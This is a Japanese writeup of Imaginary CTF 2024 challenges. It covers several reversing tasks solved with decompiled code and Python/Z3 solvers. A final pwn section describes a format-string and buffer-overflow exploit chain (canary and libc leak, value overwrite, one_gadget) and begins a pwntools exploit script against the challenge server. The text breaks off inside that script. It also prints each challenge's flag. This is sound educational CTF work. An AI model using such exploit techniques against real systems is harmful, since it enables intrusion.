2024 年 7 月 20 日から開催されていた Imaginary CTF に 0nePadding で参加していました。
フル参加できなかった割には悪くない順位でした。
いつも通り適当に Writeup を書いていきます。
もくじ
unoriginal(Rev)
i like elf reversing
問題バイナリを解析すると、以下の通り入力値を 5 で XOR した値がハードコードされたバイト列に一致するかを検証しています。
これをそのまま XOR すると Flag を復号できました。
BF(Rev)
Simple equations… but in BF?!!!
問題バイナリとして BrainFuck のコードが与えられます。
,>>+++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<++++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<+++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++[<+++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><]
このままではとても読めたものではないので、bftoc を使用して C 言語に置き換えます。
参考:bftoc/bftoc.py at master · paulkaefer/bftoc · GitHub
デコード結果は以下のようになりました。
/* This is a translation of bf.txt, generated by bftoc.py (by Paul Kaefer)
* It was generated on Saturday, July 20, 2024 at 04:18AM
*/
#include <stdio.h>
void main(void)
{
int size = 1000;
int tape[size];
int i = 0;
/* Clearing the tape (array) */
for (i=0; i<size; i++)
tape[i] = 0;
int ptr = 0;
// chr(138-3*11)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 138;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(169-7*10)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 169;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(160-11*4)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 4;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 160;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(172-10*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 172;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(174-17*3)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 174;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(113-8*8)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 8;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 113;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(160-13*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 13;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 160;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(148-11*4)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 4;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 148;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(82-6*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 82;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(171-11*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 171;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(114-9*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 114;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(128-11*3)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 128;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(102-17*3)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 102;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(170-11*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 170;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(104-8*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 104;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(138-6*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 138;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(108-8*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 108;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(173-9*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 173;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(133-6*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 133;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(98-9*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 98;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(145-10*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 145;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(125-10*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 125;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(170-10*7)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 7;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 170;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(112-10*6)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 6;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 112;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(153-17*3)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 153;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(95-11*4)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 4;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 95;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(143-23*2)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 23;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 2;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 143;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
//
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 23;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 118;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(155-19*3)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 19;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 155;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
// chr(155-6*5)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 5;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 155;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
}
このコード内では、以下のような構造のコードが連続して定義されています。
この中では、入力値の各文字が格納されている tape[ptr]
に対していくつかの演算を行った後、最終的に tape[ptr] -= 138;
などの結果が 0 になるかを検証しています。
// chr(138-3*11)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}
ptr -= 1;
while (tape[ptr] != 0)
{
tape[ptr] -= 1;
ptr -= 1;
tape[ptr] += 1;
ptr += 1;
}
ptr -= 1;
tape[ptr] -= 138;
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}
文字数は 30 程度でしたので、Solver ではなく手動で以下の Flag を特定しました。
ictf{1_h4t3_3s0l4ng5_7d4f3a1b}
Rust(Rev)
Rust! Enjoy 😃 Note: The message that produces the provided encryption is the flag.
問題バイナリとして Rust バイナリと、Flag を暗号化した結果が与えられます。
Enter the message:REDACTED
Enter the key (in hex): REDACTED
Encrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
頑張って解析を進めた結果、暗号化対象のテキストと、最大 16 バイトのキーを入力として受け取り、いくつかの加工を行っていることがわかりました。
実際の処理のシンプルさに対して Rust バイナリをデコンパイルした結果の複雑さに辟易しつつアセンブリを読み進めると、入力値の 1 文字を 3 つ右シフトした後に 5 つ左シフトを行い、入力されたキーとの XOR をとった後に 0x539 を加算してビット反転を行っていることがわかりました。
そこで、以下の Solver で元の Flag である ictf{ru57_r3v_7f4d3a}
を復号しました。
flag = ""
first_8byte_key = 0x8830855547373836
part_of_second_key = 0x82184000
guessed_key = 0x979
enc = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
for e in enc:
tmp = (~e & 0xFFF) - 0x539
tmp = tmp ^ guessed_key
flag += chr((tmp << 3) >> 5)
unconditional(Rev)
Can you reverse this flag mangler? The output is b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b
The input only contains lowercase letters, numbers, underscore, and braces .
問題バイナリを実行すると、33 個のバイト列が print されます。
どうやら、この出力結果が b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b
となる何かが正しい Flag になるようです。
問題バイナリのデコンパイル結果を見ると、iterate という関数が 33 回ネストされて実行されています。
この iterate 関数の中では、データ領域にハードコードされている Flag 文字列の先頭から 1 文字ずつ順に取り出し、何らかの計算を行った結果を 1 バイトずつ出力する関数になっています。
uint64_t iterate(int32_t n)
{
uint8_t word = flag[((int64_t)n)];
int32_t rax_28;
rax_28 = (n & 1) != 0;
char is_even = rax_28;
char is_lower;
if ((word <= 0x60 || word > 0x7a))
is_lower = 0;
else
is_lower = 1;
char X = (((table1[((int64_t)c1)] ^ ((word >> 2) | (word << 6))) * (is_lower ^ 1)) + (is_lower * (((int8_t)(((uint32_t)word) << (8 - table2[((int64_t)c2)]))) | ((int8_t)(((uint32_t)word) >> table2[((int64_t)c2)])))));
flag[((int64_t)n)] = ((is_even * ((((word >> 6) | (word << 2)) * (is_lower ^ 1)) + (is_lower * (table1[((int64_t)c1)] ^ word)))) + ((is_even ^ 1) * X));
c1 = ((((uint32_t)is_even) + c1) % 6);
c2 = ((((uint32_t)is_even) + c2) % 6);
printf("%02x,", ((uint64_t)flag[((int64_t)n)]), "nothing_here_lmao");
return ((uint64_t)(n + 1));
}
int32_t main(int32_t argc, char** argv, char** envp)
{
int32_t n = iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(0))))))))))))))));
int32_t n_1 = iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(n))))))))))))))));
iterate(n_1);
return 0;
}
Flag の位置には以下の値がデフォルトで埋め込まれています。
iterate 関数のエンコード結果は 1 文字ごとに決定されるため、単純な総当たりで Flag を取得できそうです。
iterate 関数の処理を以下のような Python スクリプトで再実装し、総当たりで Flag を特定しました。
table1 = [ord(c) for c in "RdqQTv"]
table2 = [1,3,4,2,6,5]
def iterate(n,flag,c1,c2):
word = flag[n]
is_even = (n & 1) != 0
is_lower = 0
if 0x60 < word <= 0x7a:
is_lower = 1
X = (((table1[c1] ^ ((word >> 2) | ((word << 6) & 0xFF))) * (is_lower ^ 1)) +
(is_lower * (((word << (8 - table2[c2])) & 0xFF) | (word >> table2[c2]))))
flag[n] = ((is_even * ((((word >> 6) | ((word << 2) & 0xFF)) * (is_lower ^ 1)) +
(is_lower * (table1[c1] ^ word)))) + ((is_even ^ 1) * X)) & 0xFF
c1 = ((is_even + c1) % 6)
c2 = ((is_even + c2) % 6)
# print(f"{flag[n]:02x},", end="")
return flag[n],c1,c2
flag = [ord(c) for c in "ictf{AAAAAAAAAAAAAAAAAAAAAAAAAAA}"]
ans = [0xb4,0x31,0x8e,0x02,0xaf,0x1c,0x5d,0x23,0x98,0x7d,0xa3,0x1e,0xb0,0x3c,0xb3,0xc4,0xa6,0x06,0x58,0x28,0x19,0x7d,0xa3,0xc0,0x85,0x31,0x68,0x0a,0xbc,0x03,0x5d,0x3d,0x0b]
target = 5
ret = "ictf{"
# ここの順番が重要(複数マッチしてしまうため)
l = [ord(c) for c in "0}{nopqrstuvwxyz_123456789abcdefghijklm"]
for target in range(5,33):
for k in l:
c1,c2 = (0,0)
for n in range(0,target):
x,c1,c2 = iterate(n,flag,c1,c2)
flag[target] = k
x,c1,c2 = iterate(target,flag,c1,c2)
# print(hex(x),chr(k))
if x == ans[target]:
print(target)
ret += chr(k)
break
print(ret)
# ictf{m0r3_than_1_way5_t0_c0n7r0l}
なお、iterate 関数の結果は結構な割合で重複するため、総当たりの検証順序によっては全く違う文字列が出てくる場合がある点に手間取りました。
watchdog(Rev)
The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it?
問題バイナリをデコンパイルしてみると、main 関数では入力文字列の長さが 0x2b であるかを検証した後、evalMultiPoly という関数を通して生成されたベクタテーブルがハードコードされている値と一致するかを検証していることがわかります。
この evalMultiPoly では、入力文字の数だけ evalVectPoly 関数を呼び出し、その結果を戻り値のベクタテーブルに格納しています。
evalVectPoly 関数では、1 回のループごとに result = pow(n+2,length-1) + pow(n+2,length-2) ... + pow(n+2,0)
までを行う関数のようです。
int64_t evalVectPoly(int64_t* copied_input_vector, int64_t n+2)
{
int64_t result = 0;
for (int32_t i = (vector_size(copied_input_vector) - 1); i >= 0; i -= 1)
{
int64_t rbx_1 = *(uint64_t*)v_operator(copied_input_vector, ((vector_size(copied_input_vector) - ((int64_t)i)) - 1));
// O(logn)で累乗計算を行う関数
// pow(n+2,lengh)
result += (my_pow(n+2, ((int64_t)i)) * rbx_1);
}
return result;
}
あとはこのコードを Python スクリプトに落とし込んで Z3Py を使用することで Flag を取得できます。
シンボリックリンク変数 flag のサイズを 8 バイトにしてしまうとその先の計算結果を評価できなくなってしまうので、シンボリックリンク変数のサイズを 64bit にする必要がある点に注意が必要でした。
answer = [
0x348a627d10659, 0x27485a840365fe61,
0x9e735dadf26d31cd, 0x82714bc9f9b579d9,
0x3dfb7cc801d16bc9, 0x602a04efe5dad659,
0xeb801d915a30d3d, 0x217dbe10edcb20a1,
0xadee2637e875ca19, 0xcd44aed238e9871,
0xd3bff76ae6b504d, 0x7181426eff59e789,
0x477616cb20c2dac9, 0xce1206e1e46ce4a9,
0x946e7cb964a3f87d, 0x0499607cbf0c3291,
0x6871d4372347c759, 0x075412f56b7d8b01,
0xf8e57c264786e34d, 0x194ca6020ec505b9,
0x3e1a22e34fe84949, 0xa46de25172742b79,
0xcd0e971bcbfe6e3d, 0x56561961138a2501,
0x78d2b538ab53ca19, 0xa9980ca75ab6d611,
0x5f81576b5d4716cd, 0x17b9860825b93469,
0xc012f75269298349, 0x17373ee9c7a3aac9,
0xb2e50798b11e1a7d, 0xada5a6562e0fd7f1,
0xec3d9a68f1c99e59, 0x3d828b35505d79a1,
0xf76e5264f7bd16cd, 0xdd230b3ec48ed399,
0x80d93363dcd354c9, 0x7031567681e76299,
0x8977338cd4e2a93d, 0x8a5708a1d4c02b61,
0x2066296a21501019, 0x9e260d94a4d775b1,
0xe7667bbd72280f4d, 0x12df4035e1684349
]
from z3 import *
def evalVectPoly(n,words):
result = 0
l = 0x2b
for i in range(1,l+1):
result += (((pow(n,l-i) & 0xFFFFFFFFFFFFFFFF) * words[i-1]) & 0xFFFFFFFFFFFFFFFF)
return result & 0xFFFFFFFFFFFFFFFF
# flag のベクタサイズを 64bit にする
flag = [BitVec(f"flag[{i}]", 64) for i in range(0x2b)]
s = Solver()
for i in range(0x2b):
s.add(And(
(flag[i] >= 0x21),
(flag[i] <= 0x7e)
))
s.add(flag[0] == ord("i"))
s.add(flag[1] == ord("c"))
s.add(flag[2] == ord("t"))
s.add(flag[3] == ord("f"))
s.add(flag[4] == ord("{"))
n = 2
for a in answer:
s.add(a == evalVectPoly(n,flag))
n += 1
while s.check() == sat:
m = s.model()
for c in flag:
print(chr(m[c].as_long()),end="")
print("")
この Solver を実行すると ictf{i_l0ve_interp0lati0n_2ca38d6ef0a709e0}
が正しい Flag であることを特定できます。
imgstore(Pwn)
Back to the old school.
問題バイナリをデコンパイルしてみると、List、Buy、Sell の 3 つの関数を選択して実行できるアプリケーションであることがわかります。
この時、sell_book
関数には FSB の脆弱性があることがわかります。
また、関数の実行時にランダムに生成される 4 バイトの値に 0x13f5c223 をかけた値がハードコードされている特定の値と一致した場合にのみ、BoF の脆弱性を持つ vuln 関数を呼び出すことができます。
int64_t sell_book()
{
void* fsbase
int64_t rax = *(fsbase + 0x28)
int32_t fd = open(file: "/dev/urandom", oflag: 0)
uint32_t buf
read(fd, &buf, nbytes: 4)
close(fd)
buf = zx.d(buf.w)
char i
do
printf(format: "Enter book title: ")
void input
fgets(buf: &input, n: 0x32, fp: stdin)
printf(format: "Book title --> ")
printf(format: &input)
puts(str: &unk1)
if (buf * 0x13f5c223 == data_6050)
data_608c = 2
vuln(data_608c)
puts(str: "Sorry, we already have the same …")
printf(format: "Still interested in selling your…")
__isoc99_scanf(format: &data_38a7, &i)
getchar()
while (i == 0x79)
puts(str: &unk1)
printf(format: "%s[-] Exiting program..%s\n", "\x1b[31m", "\x1b[0m")
sleep(seconds: 1)
int64_t result = rax ^ *(fsbase + 0x28)
if (result == 0)
return result
__stack_chk_fail()
noreturn
}
エクスプロイトのため、以下のステップでペイロードを送り込みました。
- FSB を悪用して、ランダム生成された 4 バイトの値と、
data_6050
のアドレス、Canary、libc のベースアドレスを抜き出す - FSB を使用して
data_6050
のアドレスにランダムに生成される 4 バイトの値に 0x13f5c223 をかけた値を埋め込む - Vuln 関数を実行して One Gadget を発行する
この問題を解くために以下の Solver を作成しました。
import re
from pwn import *
# Set context
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
# Set target
TARGET_PATH = "./imgstore_patched"
exe = ELF(TARGET_PATH)
target = remote("imgstore.chal.imaginaryctf.org", 1337, ssl=False)
# Exploit
target.recvuntil(b">> ")
payload = b"3"
target.sendline(payload)
# First chance
target.recvuntil(b"Enter book title: ")
